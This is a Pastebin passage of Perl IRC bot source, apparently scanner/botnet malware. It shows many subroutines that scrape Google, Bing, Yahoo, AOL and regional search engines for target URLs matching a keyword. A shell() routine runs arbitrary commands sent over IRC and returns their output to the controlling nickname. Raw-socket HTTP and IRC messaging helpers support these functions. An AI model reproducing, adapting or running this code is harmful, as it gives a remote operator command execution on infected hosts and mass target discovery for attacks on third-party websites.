  2377. sub jack8() {
  2378. my @list;
  2379. my $key = $_[0];
  2380. for (my $i=0; $i<=1000; $i+=100){
  2381. my $search = ($jack8.uri_escape($key)."&num=100&start=".$i);
  2382. my $res = &search_engine_query($search);
  2383. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2384. my $link = $1;
  2385. if ($link !~ /google/){
  2386. my @grep = &links($link);
  2387. push(@list,@grep);
  2388. }
  2389. }
  2390. }
  2391. return @list;
  2392. }
  2393.  
  2394. sub jack9() {
  2395. my @list;
  2396. my $key = $_[0];
  2397. for (my $i=0; $i<=1000; $i+=100){
  2398. my $search = ($jack9.uri_escape($key)."&num=100&start=".$i);
  2399. my $res = &search_engine_query($search);
  2400. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2401. my $link = $1;
  2402. if ($link !~ /google/){
  2403. my @grep = &links($link);
  2404. push(@list,@grep);
  2405. }
  2406. }
  2407. }
  2408. return @list;
  2409. }
  2410.  
  2411. sub jack10() {
  2412. my @list;
  2413. my $key = $_[0];
  2414. for (my $i=0; $i<=1000; $i+=100){
  2415. my $search = ($jack10.uri_escape($key)."&num=100&start=".$i);
  2416. my $res = &search_engine_query($search);
  2417. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2418. my $link = $1;
  2419. if ($link !~ /google/){
  2420. my @grep = &links($link);
  2421. push(@list,@grep);
  2422. }
  2423. }
  2424. }
  2425. return @list;
  2426. }
  2427.  
  2428. sub google() {
  2429. my @list;
  2430. my $key = $_[0];
  2431. for (my $i=0; $i<=1000; $i+=100){
  2432. my $search = ("http://www.google.com/search?q=".uri_escape($key)."&num=100&filter=0&start=".$i);
  2433. my $res = &search_engine_query($search);
  2434. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2435. my $link = $1;
  2436. if ($link !~ /google/){
  2437. my @grep = &links($link);
  2438. push(@list,@grep);
  2439. }
  2440. }
  2441. }
  2442. return @list;
  2443. }
  2444.  
  2445. sub walla() {
  2446. my @list;
  2447. my $key = $_[0];
  2448. for ($b=0; $b<=100; $b+=1) {
  2449. my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b);
  2450. my $res = &search_engine_query($search);
  2451. while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) {
  2452. my $link = $1;
  2453. if ($link !~ /walla\.co\.il/){
  2454. my @grep = &links($link);
  2455. push(@list,@grep);
  2456. }
  2457. }
  2458. }
  2459. return @list;
  2460. }
  2461.  
  2462. sub yahoo(){
  2463. my @list;
  2464. my $key = $_[0];
  2465. for ($b=1; $b<=1000; $b+=10) {
  2466. my $search = ("http://search.yahoo.com/search?p=".uri_escape($key)."&b=".$b);
  2467. my $res = &search_engine_query($search);
  2468. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2469. my $link = $1;
  2470. if ($link !~ /yahoo\.com/){
  2471. my @grep = &links($link);
  2472. push(@list,@grep);
  2473. }
  2474. }
  2475. }
  2476. return @list;
  2477. }
  2478.  
  2479. sub ask() {
  2480. my @list;
  2481. my $key = $_[0];
  2482. for (my $i=1; $i<=1000; $i+=100) {
  2483. my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  2484. my $res = &search_engine_query($search);
  2485. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2486. my $link = $1;
  2487. if ($link !~ /ask\.com/){
  2488. my @grep = &links($link);
  2489. push(@list,@grep);
  2490. }
  2491. }
  2492. }
  2493. return @list;
  2494. }
  2495.  
  2496. sub onet() {
  2497. my @list;
  2498. my $key = $_[0];
  2499. my $b = 0;
  2500. for ($b=1; $b<=400; $b+=10) {
  2501. my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));
  2502. my $res = &search_engine_query($search);
  2503. while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
  2504. my $link = $1;
  2505. if ($link !~ /onet|webcache|query/){
  2506. my @grep = &links($link);
  2507. push(@list,@grep);
  2508. }
  2509. }
  2510. }
  2511. return @list;
  2512. }
  2513.  
  2514. sub clusty() {
  2515. my @list;
  2516. my $key = $_[0];
  2517. my $b = 0;
  2518. for ($b=10; $b<=200; $b+=10) {
  2519. my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
  2520. my $res = &search_engine_query($search);
  2521. if ($res !~ /next/) {$b=100;}
  2522. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  2523. my $link = $1;
  2524. if ($1 !~ /yippy\.com/){
  2525. my @grep = &links($link);
  2526. push(@list,@grep);
  2527. }
  2528. }
  2529. }
  2530. return @list;
  2531. }
  2532.  
  2533. sub bing() {
  2534. my @list;
  2535. my $key = $_[0];
  2536. for (my $i=1; $i<=400; $i+=10) {
  2537. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
  2538. my $res = &search_engine_query($search);
  2539. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  2540. my $link = $1;
  2541. if ($link !~ /google/) {
  2542. my @grep = &links($link);
  2543. push(@list,@grep);
  2544. }
  2545. }
  2546. }
  2547. return @list;
  2548. }
  2549.  
  2550. sub sapo(){
  2551. my @list;
  2552. my $key = $_[0];
  2553. for ($b=1; $b<=50; $b+=1) {
  2554. my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local");
  2555. my $res = &search_engine_query($search);
  2556. if ($res !~ m/Next/i) {$b=50;}
  2557. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  2558. my $link = $1;
  2559. if ($1 !~ /\.sapo\.pt/){
  2560. my @grep = &links($link);
  2561. push(@list,@grep);
  2562. }
  2563. }
  2564. }
  2565. return @list;
  2566. }
  2567.  
  2568. sub lycos() {
  2569. my @list;
  2570. my $key = $_[0];
  2571. for ($b=0; $b<=50; $b+=1) {
  2572. my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b);
  2573. my $res = &search_engine_query($search);
  2574. while ($res =~ m/title=\"http:\/\/(.*?)\"/g) {
  2575. my $link = $1;
  2576. if ($link !~ /lycos\.com/){
  2577. my @grep = &links($link);
  2578. push(@list,@grep);
  2579. }
  2580. }
  2581. }
  2582. return @list;
  2583. }
  2584.  
  2585. sub uol() {
  2586. my @list;
  2587. my $key = $_[0];
  2588. for ($b=0; $b<=1000; $b+=10) {
  2589. my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b);
  2590. my $res = &search_engine_query($search);
  2591. if ($res =~ m/retornou nenhum resultado/i) {$b=500;}
  2592. while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  2593. my $link = $1;
  2594. if ($link !~ /uol\.com\.br|\/web/i){
  2595. my @grep = &links($link);
  2596. push(@list,@grep);
  2597. }
  2598. }
  2599. }
  2600. return @list;
  2601. }
  2602.  
  2603. sub seznam() {
  2604. my @list;
  2605. my $key = $_[0];
  2606. for ($b=1; $b<=300; $b+=20) {
  2607. my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b);
  2608. my $res = &search_engine_query($search);
  2609. while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  2610. my $link = $1;
  2611. if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){
  2612. my @grep = &links($link);
  2613. push(@list,@grep);
  2614. }
  2615. }
  2616. }
  2617. return @list;
  2618. }
  2619.  
  2620. sub hotbot() {
  2621. my @list;
  2622. my $key = $_[0];
  2623. for ($b=0; $b<=50; $b+=1) {
  2624. my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));
  2625. my $res = &search_engine_query($search);
  2626. if ($res =~ m/had no web result/i) {$b=50;}
  2627. while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) {
  2628. my $link = $1;
  2629. if ($link !~ /hotbot\.com/){
  2630. my @grep = &links($link);
  2631. push(@list,@grep);
  2632. }
  2633. }
  2634. }
  2635. return @list;
  2636. }
  2637.  
  2638. sub aol() {
  2639. my @list;
  2640. my $key = $_[0];
  2641. for ($b=0; $b<=300; $b+=10) {
  2642. my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);
  2643. my $res = &search_engine_query($search);
  2644. while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  2645. my $link = $1;
  2646. if ($link !~ /aol\.com/){
  2647. my @grep = &links($link);
  2648. push(@list,@grep);
  2649. }
  2650. }
  2651. }
  2652. return @list;
  2653. }
  2654.  
  2655. sub biglobe {
  2656. my $key = $_[0];
  2657. my @list;
  2658. for ($b=1; $b<=500; $b+=10) {
  2659. $num += $num;
  2660. my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all";
  2661. my $res = &search_engine_query($search);
  2662. while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
  2663. my $link = $1;
  2664. if ($link !~ /biglobe/){
  2665. my @grep = &links($link);
  2666. push(@list,@grep);
  2667. }
  2668. }
  2669. }
  2670.  
  2671. return @list;
  2672. }
  2673.  
  2674. #########################################
  2675.  
  2676. sub clean() {
  2677. my @cln = ();
  2678. my %visit = ();
  2679. foreach my $element (@_) {
  2680. $element =~ s/\/+/\//g;
  2681. next if $visit{$element}++;
  2682. push @cln, $element;
  2683. }
  2684. return @cln;
  2685. }
  2686.  
  2687. sub links() {
  2688. my @list;
  2689. my $link = $_[0];
  2690. my $host = $_[0];
  2691. my $hdir = $_[0];
  2692. $hdir =~ s/(.*)\/[^\/]*$/\1/;
  2693. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  2694. $host .= "/";
  2695. $link .= "/";
  2696. $hdir .= "/";
  2697. $host =~ s/\/\//\//g;
  2698. $hdir =~ s/\/\//\//g;
  2699. $link =~ s/\/\//\//g;
  2700. push(@list,$link,$host,$hdir);
  2701. return @list;
  2702. }
  2703.  
  2704. sub search_engine_query() {
  2705. my $url = $_[0];
  2706. $url =~ s/http:\/\///;
  2707. my $host = $url;
  2708. my $query = $url;
  2709. my $page = "";
  2710. $host =~ s/href=\"?http:\/\///;
  2711. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  2712. $query =~ s/$host//;
  2713. if ($query eq "") { $query = "/"; }
  2714. eval {
  2715. my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  2716. my $sget = "GET $query HTTP/1.0\r\n";
  2717. $sget .= "Host: $host\r\n";
  2718. $sget .= "Accept: */*\r\n";
  2719. $sget .= "User-Agent: $uagent\r\n";
  2720. $sget .= "Connetion: Close\r\n\r\n";
  2721. print $sock $sget;
  2722. my @pages = <$sock>;
  2723. $page = "@pages";
  2724. close($sock);
  2725. };
  2726. return $page;
  2727. }
  2728.  
  2729. #########################################
  2730.  
  2731. sub shell() {
  2732. my $path = $_[0];
  2733. my $cmd = $_[1];
  2734. if ($cmd =~ /cd (.*)/) {
  2735. chdir("$1") || &msg("$path","No such file or directory");
  2736. return;
  2737. }
  2738. elsif ($pid = fork) { waitpid($pid, 0); }
  2739. else { if (fork) { exit; } else {
  2740. my @output = `$cmd 2>&1 3>&1`;
  2741. my $c = 0;
  2742. foreach my $output (@output) {
  2743. $c++;
  2744. chop $output;
  2745. &msg("$path","$output");
  2746. if ($c == 5) { $c = 0; sleep 3; }
  2747. }
  2748. exit;
  2749. }}
  2750. }
  2751.  
  2752. sub isAdmin() {
  2753. my $status = 0;
  2754. my $nick = $_[0];
  2755. if ($nick eq $admin) { $status = 1; }
  2756. return $status;
  2757. }
  2758.  
  2759. sub msg() {
  2760. return unless $#_ == 1;
  2761. sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  2762. }
  2763.  
  2764. sub nick() {
  2765. return unless $#_ == 0;
  2766. sendraw("NICK $_[0]");
  2767. }
  2768. sub notice() {
  2769. return unless $#_ == 1;
  2770. sendraw("NOTICE $_[0] :$_[1]");
  2771. }
  2772.  
  2773.  
  2774.  
  2775. #EOF
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!